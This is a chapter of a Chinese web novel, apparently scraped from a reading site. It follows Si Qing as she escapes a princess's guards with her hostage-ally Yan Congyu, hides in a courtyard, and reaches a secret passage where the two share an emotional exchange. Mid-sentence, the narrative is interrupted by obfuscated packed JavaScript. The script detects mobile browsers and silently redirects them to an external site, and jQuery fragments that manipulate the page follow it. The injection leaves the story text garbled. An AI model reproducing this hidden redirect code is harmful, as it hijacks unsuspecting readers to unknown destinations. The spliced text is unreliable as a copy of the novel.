122. 第122回合

作品:《与死对头双双卧底后

    原来是厌从瑜余光看见其中一名暗卫朝司清抛出了一个巨大回旋镖。眼看那回旋镖就要飞来,削掉她的项上人头之时,厌从瑜一时情急,也顾不得自己的身份了。


    好在司清也注意到了这一点,她一个弯腰,躲过了那个回旋镖,只是她高高的马尾,却不慎被那削铁如泥的回旋镖切中,落下几缕青丝随风而散。


    见状的司清眸子暗了暗,继续加快脚下的步伐。


    后边的暗卫见她不为所动,更是将苗头对准了一旁看着较弱的厌从瑜,在后边大放狠话道。


    “贺大人,乖乖地跟我们回去吧。跟着公主,还能有你的好日子过,可跟着这采花贼,可就难保你的生死了。”那名男暗卫的话,半带威胁,半带嘲弄,虽然知道非厌从瑜所愿,但还是选择这般开口。


    相比之下,另一名女暗卫则显得更为沉稳,她将目标对准了这一切的始作俑者——司清,只是沉声道。


    “放下人质,留你一命。若再执迷不悟,与公主为敌,便是死路一条。”


    听着他们所言,厌从瑜想开口辩解些什么,但考虑到自己的身份,最终还是没有说出口。


    毕竟他现在是司清的人质,轮也轮不到他开口说话的份。


    听着后边人威胁的话语,司清一言不发,只专心带着厌从瑜飞檐走壁。


    背后是步步紧逼的四大暗卫,脚下是四面八方汇集而来密密麻麻的追兵,见状的司清忍不住啧了一声,看来得赶紧解决这些人才行。


    察觉到身后有人袭来,司清一个侧身,躲过后方朝她劈来的大刀,随后她抬脚就是一踹,将那悄悄近身的男暗卫足足踹出数十米远。


    司清这一脚,可谓是让暗卫肝肠寸断,毕竟这是他引以为傲的一击,又是没想到竟然有人能防备到,更何况反击,因而是打了他一招措手不及。


    那暗卫受击,直接以血肉之躯撞碎了一旁的屋檐,随后重重地落地,砸到一大片府兵,紧接着更是吐出一大口鲜血来。


    其他的三名暗卫见此也不禁露出诧异的目光,却未曾为自己同伴停留片刻,或是露出半分惋惜的神情。


    毕竟技不如人,便是不值得同情。


    为首的那名暗卫见状也是眸子一暗,沉声道。


    “此人,不可小觑。”说完,她更是祭出自己的看家武器,追了上去。


    挟持着人质都能有如此身手,若是没有带着那人,他们不敢想象后果会如何,也难怪对方有单枪匹马闯公主府的勇气了,原来真有两把刷子。


    解决了一名暗卫后,司清继续带着厌从瑜逃窜,她一手抓着厌从瑜,一手持长剑。面对铺天盖地飞来的箭雨,她更是势不可挡,不仅劈开了箭雨,还连带着改变羽箭的轨迹,射向了身后追着她的暗卫。


    实力较差的那名暗卫被司清猝不及防的举动给射中肩膀,一时鲜血透过黑衣汩汩直流,让他疼得捂住了肩膀,眉头紧锁。


    为首的暗卫看在眼里,更是不禁皱了皱眉,回头看了一眼道,“还能追吗?”


    “能。”那名暗卫说着,直接硬生生地拔下了羽箭。


    下一秒,众人回头,却发现司清所在的之处早已是空空如也,人去楼空。


    见司清在众人眼皮子底下消失,为首的暗卫更是怒从中来,连带着也对下面的官兵发号施令道。


    “还不快搜!就算是掘地三尺也要找出来!”“是。”


    他们不仅没有抓到人,还损失了两位战力,一个生死不明,一个中箭负伤。想到这里,其余的暗卫们更是面色一冷,加快了脚下的步伐。


    而此时此刻的司清,则是趁着刚刚众人分神之际,抓着厌从瑜就跳到公主府外,随后找了个看似无人的小院藏身。


    外边是官兵们急匆匆的脚步声和挨家挨户的盘问声,司清就这么和厌从瑜鬼鬼祟祟偷偷摸摸地躲进了这小院。


    没想到他们前脚刚进来不久,那些追着他们的官兵便接踵而来。


    “开门开门,追拿犯人!”


    砰砰的敲门声响起,让司清和厌从瑜都不禁屏息凝神,下一秒,房间里的烛火亮起,原来是这院子里的主人家被外边官兵的声音吵醒,正匆匆地更衣要出来接见官兵,见状的司清二话不说,连忙拉着厌从瑜穿过层层躲到后院去。


    正当这院子家的主人家要去开门,让那些官兵进来之际,司清他们恰好赶到后院,没有让主人家察觉有任何不妥之处。


    这家的老爷刚一打开门,没想到就遇上凶神恶煞的公主府府兵们,他们环顾小院一眼,随即将目光放到面前点头哈腰的老爷身上,恶狠狠地说道。


    “你有没有看见一个黑衣人带着一个蓝衣公子,长公主有令,命我们捉拿这两人。”


    听清府兵的话,这家的主人更是困意全无,擦了擦额头上的冷汗,生怕惹怒官爷的他小心翼翼道。


    “哪有人啊!官爷,这大半夜的。若是有人,小的就是生了熊心豹子胆也不敢私藏啊。”他可是听过长公主的威名,必然不可能公然跟长公主作对啊。


    然而听到,为首的府兵却只是睨了他一眼,自顾自地走进院中,朝着身后涌进来的官兵们发号施令道。


    “给我搜!不许防过任何一个可疑之人!”


    “是!”


    或许是因要受顶头上司的责罚,又连带着连夜加班且捉拿人不得的怒气,府兵将这原本整整齐齐地小院搞得乱作一团。


    晾得好好的布被扯在地上不说,就是那些大缸也被掀开,砸了个稀巴烂,那老爷看着他们这般暴行也是敢怒不敢言,只是痛在他心,连连唉声叹气地哀求道。


    “各位官老爷,麻烦您高抬贵手,轻点。”


    然而面对院子主人低声下气地恳求,那些府兵却置若罔闻,更有甚者,还动手驱赶他道,“去去去。别碍着老子办事,再阻挠公务,就连你的房子一起掀了。”


    听着那些前院传来的声音,司清便知晓这群人仗势欺人,但逃难在先,也就只能暂且算了。也连忙在这寻找出路。贸然翻墙出去太过危险,必然会引


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425783|154061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起前院之人的注意,这该如何是好呢。


    正当司清犹豫之时,余光却瞥见墙角有个被石头和杂草遮掩住的狗洞,她眸子一亮,心下立马有了办法。


    她一边给厌从瑜松开手上的绳子,一边就暗示他往里边钻。


    厌从瑜看着那狗洞,虽然无奈,但也知晓这是情急之下的无奈之举,因而他二话不说,点点头钻了进去。


    再厌从瑜进去后,司清也连忙钻了过去,头上还沾染了些许泥土,她检查了这里没有他们残留的东西后,便连忙战


    就在司清掩盖好这里狗洞的下一秒,那些府兵便恰好搜到后院。


    看见府兵们来到此处,那院子的主人也赶忙跟了上来,擦着额头上的冷汗低声下气地恳求道。“大人,小的真的没有私藏。”


    那为首的府兵冷哼一声,环顾四周后,眼见这么大搜了一通,却依旧没什么收获,也只能悻然离去,继续去下一户人家寻找搜查。


    而此时此刻,另一边逃出来的司清和厌从瑜穿过巷口,来到附近的一处密道处,借着夜色掩护,司清按下墙角的石砖,密道顿时缓缓打开,呈现在二人眼前。


    司清二话不说,拉着厌从瑜就赶了。进入这里,司清也终于松了一口气。


    借着密道的幽幽烛火,厌从瑜看见司清的头上早已是满头大汗,本应因她前来救自己的欢欣,却在他目光触及她眼眸边那抹鲜红时,心下一疼。


    "你受伤了。"厌从瑜的语气满是担心,他看着司清那双漏在外边的眸子,不禁心疼地皱了皱眉。


    烛火映照之下,厌从瑜看见司清眸底的自己,竟然是从未有过的担忧。


    是啊,他也不知自己是从何时开始,越来越担心她这个拼命三娘的。


    然而面对厌从瑜的关心,司清却完全没把这点小伤放在眼里,她目光瞥了一眼自己眼角,随后一把扯下自己脸上的黑布,喘了口气道。


    “没事,我们走吧。”


    正当司清转身要走之时,没想到身后之人却像是要将自己揉进他骨肉一般,紧紧地抱住了自己。


    这突如其来的举动让司清脚步一愣,不知道该作何反应。


    厌从瑜将头埋在她的肩旁,低声道。


    “我就知道,你会来的。”厌从瑜说这话时,语气仿佛是像寻回失而复得的宝物一般,温柔得有一丝甜蜜。


    他就像只巨大的狐狸般,乖乖蹭在司清的肩头,默默而又贪婪地享受着她身上那股冷意又让他安定的味道。


    然而听到厌从瑜这话,司清却不禁有些生气,或许是因为有些吃那长公主的醋,又或许是因为担心他的安危,她头也不回地说道。


    "我不来,你又作何?直接就范还是鱼死网破?"


    说话时,司清的语气情不自禁地重了些,她握了握腰间的剑柄,欲言又止。


    她知道,凭厌从瑜的性子,若是她不来,对方是真的会鱼死网破不可。


    ——她不想看他出事。


    “你吃醋了?”